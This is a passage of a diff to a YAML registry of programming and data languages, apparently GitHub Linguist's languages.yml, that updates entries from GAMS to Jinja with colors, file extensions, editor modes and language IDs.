+  color: "#f49a22"
   extensions:
-  - .gms
+  - ".gms"
   tm_scope: none
   ace_mode: text
-
+  language_id: 118
 GAP:
   type: programming
+  color: "#0000cc"
   extensions:
-  - .g
-  - .gap
-  - .gd
-  - .gi
-  - .tst
+  - ".g"
+  - ".gap"
+  - ".gd"
+  - ".gi"
+  - ".tst"
   tm_scope: source.gap
   ace_mode: text
-
-GAS:
-  type: programming
-  group: Assembly
-  extensions:
-  - .s
-  - .ms
-  tm_scope: source.assembly
-  ace_mode: assembly_x86
-
+  language_id: 119
 GCC Machine Description:
   type: programming
+  color: "#FFCFAB"
   extensions:
-  - .md
+  - ".md"
   tm_scope: source.lisp
   ace_mode: lisp
-
+  codemirror_mode: commonlisp
+  codemirror_mime_type: text/x-common-lisp
+  language_id: 121
 GDB:
   type: programming
   extensions:
-  - .gdb
-  - .gdbinit
+  - ".gdb"
+  - ".gdbinit"
   tm_scope: source.gdb
   ace_mode: text
-
+  language_id: 122
 GDScript:
   type: programming
+  color: "#355570"
   extensions:
-  - .gd
+  - ".gd"
   tm_scope: source.gdscript
   ace_mode: text
-
+  language_id: 123
+GEDCOM:
+  type: data
+  color: "#003058"
+  ace_mode: text
+  extensions:
+  - ".ged"
+  tm_scope: source.gedcom
+  language_id: 459577965
 GLSL:
   type: programming
-  extensions:
-  - .glsl
-  - .fp
-  - .frag
-  - .frg
-  - .fs
-  - .fsh
-  - .fshader
-  - .geo
-  - .geom
-  - .glslv
-  - .gshader
-  - .shader
-  - .vert
-  - .vrx
-  - .vsh
-  - .vshader
+  color: "#5686a5"
+  extensions:
+  - ".glsl"
+  - ".fp"
+  - ".frag"
+  - ".frg"
+  - ".fs"
+  - ".fsh"
+  - ".fshader"
+  - ".geo"
+  - ".geom"
+  - ".glslf"
+  - ".glslv"
+  - ".gs"
+  - ".gshader"
+  - ".rchit"
+  - ".rmiss"
+  - ".shader"
+  - ".tesc"
+  - ".tese"
+  - ".vert"
+  - ".vrx"
+  - ".vs"
+  - ".vsh"
+  - ".vshader"
+  tm_scope: source.glsl
   ace_mode: glsl
-
+  language_id: 124
+GN:
+  type: data
+  extensions:
+  - ".gn"
+  - ".gni"
+  interpreters:
+  - gn
+  filenames:
+  - ".gn"
+  tm_scope: source.gn
+  ace_mode: python
+  codemirror_mode: python
+  codemirror_mime_type: text/x-python
+  language_id: 302957008
+GSC:
+  type: programming
+  color: "#FF6800"
+  extensions:
+  - ".gsc"
+  - ".csc"
+  - ".gsh"
+  tm_scope: source.gsc
+  ace_mode: c_cpp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 257856279
 Game Maker Language:
   type: programming
-  color: "#8fb200"
+  color: "#71b417"
   extensions:
-  - .gml
+  - ".gml"
   tm_scope: source.c++
   ace_mode: c_cpp
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-c++src
+  language_id: 125
+Gemfile.lock:
+  type: data
+  color: "#701516"
+  searchable: false
+  tm_scope: source.gemfile-lock
+  ace_mode: text
+  filenames:
+  - Gemfile.lock
+  language_id: 907065713
+Gemini:
+  type: prose
+  color: "#ff6900"
+  ace_mode: text
+  extensions:
+  - ".gmi"
+  aliases:
+  - gemtext
+  wrap: true
+  tm_scope: source.gemini
+  language_id: 310828396
+Genero 4gl:
+  type: programming
+  color: "#63408e"
+  extensions:
+  - ".4gl"
+  tm_scope: source.genero-4gl
+  ace_mode: text
+  language_id: 986054050
+Genero per:
+  type: markup
+  color: "#d8df39"
+  extensions:
+  - ".per"
+  tm_scope: source.genero-per
+  ace_mode: text
+  language_id: 902995658
+Genie:
+  type: programming
+  ace_mode: text
+  extensions:
+  - ".gs"
+  color: "#fb855d"
+  tm_scope: none
+  language_id: 792408528
 Genshi:
   type: programming
+  color: "#951531"
   extensions:
-  - .kid
+  - ".kid"
   tm_scope: text.xml.genshi
   aliases:
   - xml+genshi
   - xml+kid
   ace_mode: xml
-
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  language_id: 126
 Gentoo Ebuild:
   type: programming
+  color: "#9400ff"
   group: Shell
   extensions:
-  - .ebuild
+  - ".ebuild"
   tm_scope: source.shell
   ace_mode: sh
-
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 127
 Gentoo Eclass:
   type: programming
+  color: "#9400ff"
   group: Shell
   extensions:
-  - .eclass
+  - ".eclass"
   tm_scope: source.shell
   ace_mode: sh
-
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 128
+Gerber Image:
+  type: data
+  color: "#d20b00"
+  aliases:
+  - rs-274x
+  extensions:
+  - ".gbr"
+  - ".cmp"
+  - ".gbl"
+  - ".gbo"
+  - ".gbp"
+  - ".gbs"
+  - ".gko"
+  - ".gml"
+  - ".gpb"
+  - ".gpt"
+  - ".gtl"
+  - ".gto"
+  - ".gtp"
+  - ".gts"
+  - ".ncl"
+  - ".sol"
+  interpreters:
+  - gerbv
+  - gerbview
+  tm_scope: source.gerber
+  ace_mode: text
+  language_id: 404627610
 Gettext Catalog:
   type: prose
-  search_term: pot
-  searchable: false
   aliases:
   - pot
   extensions:
-  - .po
-  - .pot
+  - ".po"
+  - ".pot"
   tm_scope: source.po
   ace_mode: text
-
+  language_id: 129
+Gherkin:
+  type: programming
+  extensions:
+  - ".feature"
+  - ".story"
+  tm_scope: text.gherkin.feature
+  aliases:
+  - cucumber
+  ace_mode: text
+  color: "#5B2063"
+  language_id: 76
+Git Attributes:
+  type: data
+  color: "#F44D27"
+  aliases:
+  - gitattributes
+  filenames:
+  - ".gitattributes"
+  tm_scope: source.gitattributes
+  ace_mode: gitignore
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 956324166
+Git Config:
+  type: data
+  color: "#F44D27"
+  group: INI
+  aliases:
+  - gitconfig
+  - gitmodules
+  extensions:
+  - ".gitconfig"
+  filenames:
+  - ".gitconfig"
+  - ".gitmodules"
+  ace_mode: ini
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  tm_scope: source.gitconfig
+  language_id: 807968997
+Git Revision List:
+  type: data
+  color: "#F44D27"
+  aliases:
+  - Git Blame Ignore Revs
+  filenames:
+  - ".git-blame-ignore-revs"
+  tm_scope: source.git-revlist
+  ace_mode: text
+  language_id: 461881235
+Gleam:
+  type: programming
+  color: "#ffaff3"
+  ace_mode: text
+  extensions:
+  - ".gleam"
+  tm_scope: source.gleam
+  language_id: 1054258749
+Glimmer JS:
+  type: programming
+  extensions:
+  - ".gjs"
+  ace_mode: javascript
+  color: "#F5835F"
+  tm_scope: source.gjs
+  group: JavaScript
+  language_id: 5523150
+Glimmer TS:
+  type: programming
+  extensions:
+  - ".gts"
+  ace_mode: typescript
+  color: "#3178c6"
+  tm_scope: source.gts
+  group: TypeScript
+  language_id: 95110458
 Glyph:
   type: programming
-  color: "#e4cc98"
+  color: "#c1ac7f"
   extensions:
-  - .glf
+  - ".glf"
   tm_scope: source.tcl
   ace_mode: tcl
-
+  codemirror_mode: tcl
+  codemirror_mime_type: text/x-tcl
+  language_id: 130
+Glyph Bitmap Distribution Format:
+  type: data
+  extensions:
+  - ".bdf"
+  tm_scope: source.bdf
+  ace_mode: text
+  language_id: 997665271
 Gnuplot:
   type: programming
   color: "#f0a9f0"
   extensions:
-  - .gp
-  - .gnu
-  - .gnuplot
-  - .plot
-  - .plt
+  - ".gp"
+  - ".gnu"
+  - ".gnuplot"
+  - ".p"
+  - ".plot"
+  - ".plt"
   interpreters:
   - gnuplot
+  tm_scope: source.gnuplot
   ace_mode: text
-
+  language_id: 131
 Go:
   type: programming
-  color: "#375eab"
+  color: "#00ADD8"
+  aliases:
+  - golang
   extensions:
-  - .go
+  - ".go"
+  tm_scope: source.go
   ace_mode: golang
-
+  codemirror_mode: go
+  codemirror_mime_type: text/x-go
+  language_id: 132
+Go Checksums:
+  type: data
+  color: "#00ADD8"
+  aliases:
+  - go.sum
+  - go sum
+  - go.work.sum
+  - go work sum
+  filenames:
+  - go.sum
+  - go.work.sum
+  tm_scope: go.sum
+  ace_mode: text
+  language_id: 1054391671
+Go Module:
+  type: data
+  color: "#00ADD8"
+  aliases:
+  - go.mod
+  - go mod
+  filenames:
+  - go.mod
+  tm_scope: go.mod
+  ace_mode: text
+  language_id: 947461016
+Go Workspace:
+  type: data
+  color: "#00ADD8"
+  aliases:
+  - go.work
+  - go work
+  filenames:
+  - go.work
+  tm_scope: go.mod
+  ace_mode: text
+  language_id: 934546256
+Godot Resource:
+  type: data
+  color: "#355570"
+  extensions:
+  - ".gdnlib"
+  - ".gdns"
+  - ".tres"
+  - ".tscn"
+  filenames:
+  - project.godot
+  tm_scope: source.gdresource
+  ace_mode: text
+  language_id: 738107771
 Golo:
   type: programming
   color: "#88562A"
   extensions:
-  - .golo
+  - ".golo"
   tm_scope: source.golo
   ace_mode: text
-
+  language_id: 133
 Gosu:
   type: programming
   color: "#82937f"
   extensions:
-  - .gs
-  - .gst
-  - .gsx
-  - .vark
+  - ".gs"
+  - ".gst"
+  - ".gsx"
+  - ".vark"
   tm_scope: source.gosu.2
   ace_mode: text
-
+  language_id: 134
 Grace:
   type: programming
+  color: "#615f8b"
   extensions:
-  - .grace
+  - ".grace"
   tm_scope: source.grace
   ace_mode: text
-
+  language_id: 135
 Gradle:
   type: data
+  color: "#02303a"
   extensions:
-  - .gradle
+  - ".gradle"
   tm_scope: source.groovy.gradle
   ace_mode: text
-
+  language_id: 136
+Gradle Kotlin DSL:
+  group: Gradle
+  type: data
+  color: "#02303a"
+  extensions:
+  - ".gradle.kts"
+  ace_mode: text
+  tm_scope: source.kotlin
+  language_id: 432600901
 Grammatical Framework:
   type: programming
   aliases:
   - gf
-  wrap: false
   extensions:
-  - .gf
-  searchable: true
-  color: "#79aa7a"
-  tm_scope: source.haskell
+  - ".gf"
+  color: "#ff0000"
+  tm_scope: source.gf
   ace_mode: haskell
-
+  codemirror_mode: haskell
+  codemirror_mime_type: text/x-haskell
+  language_id: 137
 Graph Modeling Language:
   type: data
   extensions:
-  - .gml
+  - ".gml"
   tm_scope: none
   ace_mode: text
-
+  language_id: 138
 GraphQL:
   type: data
+  color: "#e10098"
   extensions:
-    - .graphql
+  - ".graphql"
+  - ".gql"
+  - ".graphqls"
   tm_scope: source.graphql
   ace_mode: text
-
+  language_id: 139
 Graphviz (DOT):
   type: data
+  color: "#2596be"
   tm_scope: source.dot
   extensions:
-  - .dot
-  - .gv
-  ace_mode: text
-
-Groff:
-  type: markup
-  color: "#ecdebe"
-  extensions:
-  - .man
-  - '.1'
-  - .1in
-  - .1m
-  - .1x
-  - '.2'
-  - '.3'
-  - .3in
-  - .3m
-  - .3qt
-  - .3x
-  - '.4'
-  - '.5'
-  - '.6'
-  - '.7'
-  - '.8'
-  - '.9'
-  - .l
-  - .me
-  - .ms
-  - .n
-  - .rno
-  - .roff
-  - .tmac
-  filenames:
-  - mmn
-  - mmt
-  tm_scope: text.roff
-  aliases:
-  - nroff
-  - troff
+  - ".dot"
+  - ".gv"
   ace_mode: text
-
+  language_id: 140
 Groovy:
   type: programming
+  tm_scope: source.groovy
   ace_mode: groovy
-  color: "#e69f56"
-  extensions:
-  - .groovy
-  - .grt
-  - .gtpl
-  - .gvy
+  codemirror_mode: groovy
+  codemirror_mime_type: text/x-groovy
+  color: "#4298b8"
+  extensions:
+  - ".groovy"
+  - ".grt"
+  - ".gtpl"
+  - ".gvy"
   interpreters:
   - groovy
   filenames:
   - Jenkinsfile
-
+  language_id: 142
 Groovy Server Pages:
   type: programming
+  color: "#4298b8"
   group: Groovy
   aliases:
   - gsp
   - java server page
   extensions:
-  - .gsp
+  - ".gsp"
   tm_scope: text.html.jsp
   ace_mode: jsp
-
+  codemirror_mode: htmlembedded
+  codemirror_mime_type: application/x-jsp
+  language_id: 143
+HAProxy:
+  type: data
+  color: "#106da9"
+  extensions:
+  - ".cfg"
+  filenames:
+  - haproxy.cfg
+  tm_scope: source.haproxy-config
+  ace_mode: text
+  language_id: 366607477
 HCL:
   type: programming
+  color: "#844FBA"
   extensions:
-    - .hcl
-    - .tf
+  - ".hcl"
+  - ".nomad"
+  - ".tf"
+  - ".tfvars"
+  - ".workflow"
+  aliases:
+  - HashiCorp Configuration Language
+  - terraform
   ace_mode: ruby
-  tm_scope: source.ruby
-
+  codemirror_mode: ruby
+  codemirror_mime_type: text/x-ruby
+  tm_scope: source.hcl
+  language_id: 144
 HLSL:
   type: programming
+  color: "#aace60"
   extensions:
-    - .hlsl
-    - .fx
-    - .fxh
-    - .hlsli
+  - ".hlsl"
+  - ".cginc"
+  - ".fx"
+  - ".fxh"
+  - ".hlsli"
   ace_mode: text
-  tm_scope: none
-
+  tm_scope: source.hlsl
+  language_id: 145
+HOCON:
+  type: data
+  color: "#9ff8ee"
+  extensions:
+  - ".hocon"
+  filenames:
+  - ".scalafix.conf"
+  - ".scalafmt.conf"
+  tm_scope: source.hocon
+  ace_mode: text
+  language_id: 679725279
 HTML:
   type: markup
   tm_scope: text.html.basic
   ace_mode: html
-  color: "#e44b23"
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  color: "#e34c26"
   aliases:
   - xhtml
   extensions:
-  - .html
-  - .htm
-  - .html.hl
-  - .inc
-  - .st
-  - .xht
-  - .xhtml
-
-HTML+Django:
-  type: markup
-  tm_scope: text.html.django
-  group: HTML
-  extensions:
-  - .mustache
-  - .jinja
-  aliases:
-  - django
-  - html+django/jinja
-  - html+jinja
-  - htmldjango
-  ace_mode: django
-
+  - ".html"
+  - ".hta"
+  - ".htm"
+  - ".html.hl"
+  - ".inc"
+  - ".xht"
+  - ".xhtml"
+  language_id: 146
 HTML+ECR:
   type: markup
+  color: "#2e1052"
   tm_scope: text.html.ecr
   group: HTML
   aliases:
   - ecr
   extensions:
-  - .ecr
+  - ".ecr"
   ace_mode: text
-
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  language_id: 148
 HTML+EEX:
   type: markup
+  color: "#6e4a7e"
   tm_scope: text.html.elixir
   group: HTML
   aliases:
   - eex
+  - heex
+  - leex
   extensions:
-  - .eex
+  - ".eex"
+  - ".html.heex"
+  - ".html.leex"
   ace_mode: text
-
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  language_id: 149
 HTML+ERB:
   type: markup
+  color: "#701516"
   tm_scope: text.html.erb
   group: HTML
   aliases:
   - erb
+  - rhtml
+  - html+ruby
   extensions:
-  - .erb
-  - .erb.deface
+  - ".erb"
+  - ".erb.deface"
+  - ".rhtml"
   ace_mode: text
-
+  codemirror_mode: htmlembedded
+  codemirror_mime_type: application/x-erb
+  language_id: 150
 HTML+PHP:
   type: markup
+  color: "#4f5d95"
   tm_scope: text.html.php
   group: HTML
   extensions:
-  - .phtml
+  - ".phtml"
   ace_mode: php
-
+  codemirror_mode: php
+  codemirror_mime_type: application/x-httpd-php
+  language_id: 151
+HTML+Razor:
+  type: markup
+  color: "#512be4"
+  tm_scope: text.html.cshtml
+  group: HTML
+  aliases:
+  - razor
+  extensions:
+  - ".cshtml"
+  - ".razor"
+  ace_mode: razor
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  language_id: 479039817
 HTTP:
   type: data
+  color: "#005C9C"
   extensions:
-  - .http
+  - ".http"
   tm_scope: source.httpspec
   ace_mode: text
-
+  codemirror_mode: http
+  codemirror_mime_type: message/http
+  language_id: 152
+HXML:
+  type: data
+  color: "#f68712"
+  ace_mode: text
+  extensions:
+  - ".hxml"
+  tm_scope: source.hxml
+  language_id: 786683730
 Hack:
   type: programming
   ace_mode: php
-  extensions:
-  - .hh
-  - .php
-  tm_scope: text.html.php
+  codemirror_mode: php
+  codemirror_mime_type: application/x-httpd-php
+  extensions:
+  - ".hack"
+  - ".hh"
+  - ".hhi"
+  - ".php"
+  tm_scope: source.hack
   color: "#878787"
-
+  language_id: 153
 Haml:
-  group: HTML
   type: markup
+  color: "#ece2a9"
   extensions:
-  - .haml
-  - .haml.deface
+  - ".haml"
+  - ".haml.deface"
+  tm_scope: text.haml
   ace_mode: haml
-  color: "#ECE2A9"
-
+  codemirror_mode: haml
+  codemirror_mime_type: text/x-haml
+  language_id: 154
 Handlebars:
   type: markup
-  color: "#01a9d6"
-  group: HTML
+  color: "#f7931e"
   aliases:
   - hbs
   - htmlbars
   extensions:
-  - .handlebars
-  - .hbs
+  - ".handlebars"
+  - ".hbs"
   tm_scope: text.html.handlebars
   ace_mode: handlebars
-
+  language_id: 155
 Harbour:
   type: programming
   color: "#0e60e3"
   extensions:
-  - .hb
+  - ".hb"
   tm_scope: source.harbour
   ace_mode: text
-
+  language_id: 156
 Haskell:
   type: programming
-  color: "#29b544"
+  color: "#5e5086"
   extensions:
-  - .hs
-  - .hsc
+  - ".hs"
+  - ".hs-boot"
+  - ".hsc"
   interpreters:
+  - runghc
   - runhaskell
+  - runhugs
+  tm_scope: source.haskell
   ace_mode: haskell
-
+  codemirror_mode: haskell
+  codemirror_mime_type: text/x-haskell
+  language_id: 157
 Haxe:
   type: programming
   ace_mode: haxe
+  codemirror_mode: haxe
+  codemirror_mime_type: text/x-haxe
   color: "#df7900"
   extensions:
-  - .hx
-  - .hxsl
-  tm_scope: source.haxe.2
-
+  - ".hx"
+  - ".hxsl"
+  tm_scope: source.hx
+  language_id: 158
+HiveQL:
+  type: programming
+  extensions:
+  - ".q"
+  - ".hql"
+  color: "#dce200"
+  tm_scope: source.hql
+  ace_mode: sql
+  language_id: 931814087
+HolyC:
+  type: programming
+  color: "#ffefaf"
+  extensions:
+  - ".hc"
+  tm_scope: source.hc
+  ace_mode: c_cpp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 928121743
+Hosts File:
+  type: data
+  color: "#308888"
+  filenames:
+  - HOSTS
+  - hosts
+  - hosts.txt
+  aliases:
+  - hosts
+  tm_scope: source.hosts
+  ace_mode: text
+  language_id: 231021894
 Hy:
   type: programming
   ace_mode: text
   color: "#7790B2"
   extensions:
-  - .hy
+  - ".hy"
+  interpreters:
+  - hy
   aliases:
   - hylang
   tm_scope: source.hy
-
+  language_id: 159
 HyPhy:
   type: programming
   ace_mode: text
   extensions:
-  - .bf
+  - ".bf"
   tm_scope: none
-
+  language_id: 160
 IDL:
   type: programming
   color: "#a3522f"
   extensions:
-  - .pro
-  - .dlm
+  - ".pro"
+  - ".dlm"
+  tm_scope: source.idl
   ace_mode: text
-
+  codemirror_mode: idl
+  codemirror_mime_type: text/x-idl
+  language_id: 161
 IGOR Pro:
   type: programming
+  color: "#0000cc"
   extensions:
-  - .ipf
+  - ".ipf"
   aliases:
   - igor
   - igorpro
-  tm_scope: none
+  tm_scope: source.igor
   ace_mode: text
-
+  language_id: 162
 INI:
   type: data
-  extensions:
-  - .ini
-  - .cfg
-  - .prefs
-  - .pro
-  - .properties
+  color: "#d1dbe0"
+  extensions:
+  - ".ini"
+  - ".cfg"
+  - ".cnf"
+  - ".dof"
+  - ".lektorproject"
+  - ".prefs"
+  - ".pro"
+  - ".properties"
+  - ".url"
+  filenames:
+  - ".coveragerc"
+  - ".flake8"
+  - ".pylintrc"
+  - HOSTS
+  - buildozer.spec
+  - hosts
+  - pylintrc
+  - vlcrc
   tm_scope: source.ini
   aliases:
   - dosini
   ace_mode: ini
-
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  language_id: 163
 IRC log:
   type: data
-  search_term: irc
   aliases:
   - irc
   - irc logs
   extensions:
-  - .irclog
-  - .weechatlog
+  - ".irclog"
+  - ".weechatlog"
   tm_scope: none
   ace_mode: text
-
+  codemirror_mode: mirc
+  codemirror_mime_type: text/mirc
+  language_id: 164
 Idris:
   type: programming
+  color: "#b30000"
   extensions:
-  - .idr
-  - .lidr
+  - ".idr"
+  - ".lidr"
   ace_mode: text
   tm_scope: source.idris
-
+  language_id: 165
+Ignore List:
+  type: data
+  color: "#000000"
+  aliases:
+  - ignore
+  - gitignore
+  - git-ignore
+  extensions:
+  - ".gitignore"
+  filenames:
+  - ".atomignore"
+  - ".babelignore"
+  - ".bzrignore"
+  - ".coffeelintignore"
+  - ".cvsignore"
+  - ".dockerignore"
+  - ".eleventyignore"
+  - ".eslintignore"
+  - ".gitignore"
+  - ".markdownlintignore"
+  - ".nodemonignore"
+  - ".npmignore"
+  - ".prettierignore"
+  - ".stylelintignore"
+  - ".vercelignore"
+  - ".vscodeignore"
+  - gitignore-global
+  - gitignore_global
+  ace_mode: gitignore
+  tm_scope: source.gitignore
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 74444240
+ImageJ Macro:
+  type: programming
+  color: "#99AAFF"
+  aliases:
+  - ijm
+  extensions:
+  - ".ijm"
+  ace_mode: text
+  tm_scope: none
+  language_id: 575143428
+Imba:
+  type: programming
+  color: "#16cec6"
+  extensions:
+  - ".imba"
+  ace_mode: text
+  tm_scope: source.imba
+  language_id: 1057618448
 Inform 7:
   type: programming
   wrap: true
   extensions:
-  - .ni
-  - .i7x
+  - ".ni"
+  - ".i7x"
   tm_scope: source.inform7
   aliases:
   - i7
   - inform7
   ace_mode: text
-
+  language_id: 166
+Ink:
+  type: programming
+  wrap: true
+  extensions:
+  - ".ink"
+  tm_scope: source.ink
+  ace_mode: text
+  language_id: 838252715
 Inno Setup:
   type: programming
+  color: "#264b99"
   extensions:
-  - .iss
-  tm_scope: none
+  - ".iss"
+  - ".isl"
+  tm_scope: source.inno
   ace_mode: text
-
+  language_id: 167
 Io:
   type: programming
   color: "#a9188d"
   extensions:
-  - .io
+  - ".io"
   interpreters:
   - io
+  tm_scope: source.io
   ace_mode: io
-
+  language_id: 168
 Ioke:
   type: programming
   color: "#078193"
   extensions:
-  - .ik
+  - ".ik"
   interpreters:
   - ioke
+  tm_scope: source.ioke
   ace_mode: text
-
+  language_id: 169
 Isabelle:
   type: programming
   color: "#FEFE00"
   extensions:
-  - .thy
+  - ".thy"
   tm_scope: source.isabelle.theory
   ace_mode: text
-
+  language_id: 170
 Isabelle ROOT:
   type: programming
+  color: "#FEFE00"
   group: Isabelle
   filenames:
   - ROOT
   tm_scope: source.isabelle.root
   ace_mode: text
-
+  language_id: 171
 J:
   type: programming
   color: "#9EEDFF"
   extensions:
-  - .ijs
+  - ".ijs"
   interpreters:
   - jconsole
   tm_scope: source.j
   ace_mode: text
-
+  language_id: 172
+JAR Manifest:
+  type: data
+  color: "#b07219"
+  filenames:
+  - MANIFEST.MF
+  tm_scope: source.yaml
+  ace_mode: text
+  language_id: 447261135
+JCL:
+  type: programming
+  color: "#d90e09"
+  extensions:
+  - ".jcl"
+  tm_scope: source.jcl
+  ace_mode: text
+  language_id: 316620079
 JFlex:
   type: programming
   color: "#DBCA00"
   group: Lex
   extensions:
-  - .flex
-  - .jflex
+  - ".flex"
+  - ".jflex"
   tm_scope: source.jflex
   ace_mode: text
-
+  language_id: 173
 JSON:
   type: data
+  color: "#292929"
   tm_scope: source.json
-  group: JavaScript
   ace_mode: json
-  searchable: false
-  extensions:
-  - .json
-  - .geojson
-  - .JSON-tmLanguage
-  - .topojson
+  codemirror_mode: javascript
+  codemirror_mime_type: application/json
+  aliases:
+  - geojson
+  - jsonl
+  - sarif
+  - topojson
+  extensions:
+  - ".json"
+  - ".4DForm"
+  - ".4DProject"
+  - ".avsc"
+  - ".geojson"
+  - ".gltf"
+  - ".har"
+  - ".ice"
+  - ".JSON-tmLanguage"
+  - ".jsonl"
+  - ".mcmeta"
+  - ".sarif"
+  - ".tfstate"
+  - ".tfstate.backup"
+  - ".topojson"
+  - ".webapp"
+  - ".webmanifest"
+  - ".yy"
+  - ".yyp"
   filenames:
-  - .arcconfig
-  - .jshintrc
+  - ".all-contributorsrc"
+  - ".arcconfig"
+  - ".auto-changelog"
+  - ".c8rc"
+  - ".htmlhintrc"
+  - ".imgbotconfig"
+  - ".nycrc"
+  - ".tern-config"
+  - ".tern-project"
+  - ".watchmanconfig"
+  - MODULE.bazel.lock
+  - Pipfile.lock
   - composer.lock
+  - deno.lock
+  - flake.lock
   - mcmod.info
-
+  language_id: 174
+JSON with Comments:
+  type: data
+  color: "#292929"
+  group: JSON
+  tm_scope: source.js
+  ace_mode: javascript
+  codemirror_mode: javascript
+  codemirror_mime_type: text/javascript
+  aliases:
+  - jsonc
+  extensions:
+  - ".jsonc"
+  - ".code-snippets"
+  - ".code-workspace"
+  - ".sublime-build"
+  - ".sublime-color-scheme"
+  - ".sublime-commands"
+  - ".sublime-completions"
+  - ".sublime-keymap"
+  - ".sublime-macro"
+  - ".sublime-menu"
+  - ".sublime-mousemap"
+  - ".sublime-project"
+  - ".sublime-settings"
+  - ".sublime-theme"
+  - ".sublime-workspace"
+  - ".sublime_metrics"
+  - ".sublime_session"
+  filenames:
+  - ".babelrc"
+  - ".devcontainer.json"
+  - ".eslintrc.json"
+  - ".jscsrc"
+  - ".jshintrc"
+  - ".jslintrc"
+  - ".swcrc"
+  - api-extractor.json
+  - devcontainer.json
+  - jsconfig.json
+  - language-configuration.json
+  - tsconfig.json
+  - tslint.json
+  language_id: 423
 JSON5:
   type: data
+  color: "#267CB9"
   extensions:
-  - .json5
+  - ".json5"
   tm_scope: source.js
   ace_mode: javascript
-
+  codemirror_mode: javascript
+  codemirror_mime_type: application/json
+  language_id: 175
 JSONLD:
   type: data
-  group: JavaScript
-  ace_mode: javascript
+  color: "#0c479c"
   extensions:
-  - .jsonld
+  - ".jsonld"
   tm_scope: source.js
-
+  ace_mode: javascript
+  codemirror_mode: javascript
+  codemirror_mime_type: application/json
+  language_id: 176
 JSONiq:
   color: "#40d47e"
   type: programming
   ace_mode: jsoniq
+  codemirror_mode: javascript
+  codemirror_mime_type: application/json
   extensions:
-  - .jq
-  tm_scope: source.jq
-
-JSX:
+  - ".jq"
+  tm_scope: source.jsoniq
+  language_id: 177
+Janet:
   type: programming
-  group: JavaScript
-  extensions:
-  - .jsx
-  tm_scope: source.js.jsx
-  ace_mode: javascript
-
-Jade:
-  group: HTML
-  type: markup
+  color: "#0886a5"
   extensions:
-  - .jade
-  - .pug
-  tm_scope: text.jade
-  ace_mode: jade
-
+  - ".janet"
+  tm_scope: source.janet
+  ace_mode: scheme
+  codemirror_mode: scheme
+  codemirror_mime_type: text/x-scheme
+  interpreters:
+  - janet
+  language_id: 1028705371
 Jasmin:
   type: programming
+  color: "#d03600"
   ace_mode: java
   extensions:
-  - .j
+  - ".j"
   tm_scope: source.jasmin
-
+  language_id: 180
 Java:
   type: programming
+  tm_scope: source.java
   ace_mode: java
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-java
   color: "#b07219"
   extensions:
-  - .java
-
+  - ".java"
+  - ".jav"
+  - ".jsh"
+  language_id: 181
+Java Properties:
+  type: data
+  color: "#2A6277"
+  extensions:
+  - ".properties"
+  tm_scope: source.java-properties
+  ace_mode: properties
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  language_id: 519377561
 Java Server Pages:
   type: programming
+  color: "#2A6277"
   group: Java
-  search_term: jsp
   aliases:
   - jsp
   extensions:
-  - .jsp
+  - ".jsp"
+  - ".tag"
   tm_scope: text.html.jsp
   ace_mode: jsp
-
+  codemirror_mode: htmlembedded
+  codemirror_mime_type: application/x-jsp
+  language_id: 182
+Java Template Engine:
+  type: programming
+  color: "#2A6277"
+  group: Java
+  aliases:
+  - jte
+  extensions:
+  - ".jte"
+  ace_mode: text
+  tm_scope: text.html.jte
+  language_id: 599494012
 JavaScript:
   type: programming
   tm_scope: source.js
   ace_mode: javascript
+  codemirror_mode: javascript
+  codemirror_mime_type: text/javascript
   color: "#f1e05a"
   aliases:
   - js
   - node
   extensions:
-  - .js
-  - ._js
-  - .bones
-  - .es
-  - .es6
-  - .frag
-  - .gs
-  - .jake
-  - .jsb
-  - .jscad
-  - .jsfl
-  - .jsm
-  - .jss
-  - .njs
-  - .pac
-  - .sjs
-  - .ssjs
-  - .sublime-build
-  - .sublime-commands
-  - .sublime-completions
-  - .sublime-keymap
-  - .sublime-macro
-  - .sublime-menu
-  - .sublime-mousemap
-  - .sublime-project
-  - .sublime-settings
-  - .sublime-theme
-  - .sublime-workspace
-  - .sublime_metrics
-  - .sublime_session
-  - .xsjs
-  - .xsjslib
+  - ".js"
+  - "._js"
+  - ".bones"
+  - ".cjs"
+  - ".es"
+  - ".es6"
+  - ".frag"
+  - ".gs"
+  - ".jake"
+  - ".javascript"
+  - ".jsb"
+  - ".jscad"
+  - ".jsfl"
+  - ".jslib"
+  - ".jsm"
+  - ".jspre"
+  - ".jss"
+  - ".jsx"
+  - ".mjs"
+  - ".njs"
+  - ".pac"
+  - ".sjs"
+  - ".ssjs"
+  - ".xsjs"
+  - ".xsjslib"
   filenames:
   - Jakefile
   interpreters:
+  - chakra
+  - d8
+  - gjs
+  - js
   - node
-
+  - nodejs
+  - qjs
+  - rhino
+  - v8
+  - v8-shell
+  language_id: 183
+JavaScript+ERB:
+  type: programming
+  color: "#f1e05a"
+  tm_scope: source.js
+  group: JavaScript
+  extensions:
+  - ".js.erb"
+  ace_mode: javascript
+  codemirror_mode: javascript
+  codemirror_mime_type: application/javascript
+  language_id: 914318960
+Jest Snapshot:
+  type: data
+  color: "#15c213"
+  tm_scope: source.jest.snap
+  extensions:
+  - ".snap"
+  ace_mode: javascript
+  codemirror_mode: javascript
+  codemirror_mime_type: application/javascript
+  language_id: 774635084
+JetBrains MPS:
+  type: programming
+  aliases:
+  - mps
+  color: "#21D789"
+  extensions:
+  - ".mps"
+  - ".mpl"
+  - ".msd"
+  ace_mode: xml
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  tm_scope: none
+  language_id: 465165328
+Jinja:
+  type: markup
+  color: "#a52a22"
+  aliases:
+  - django
+  - html+django
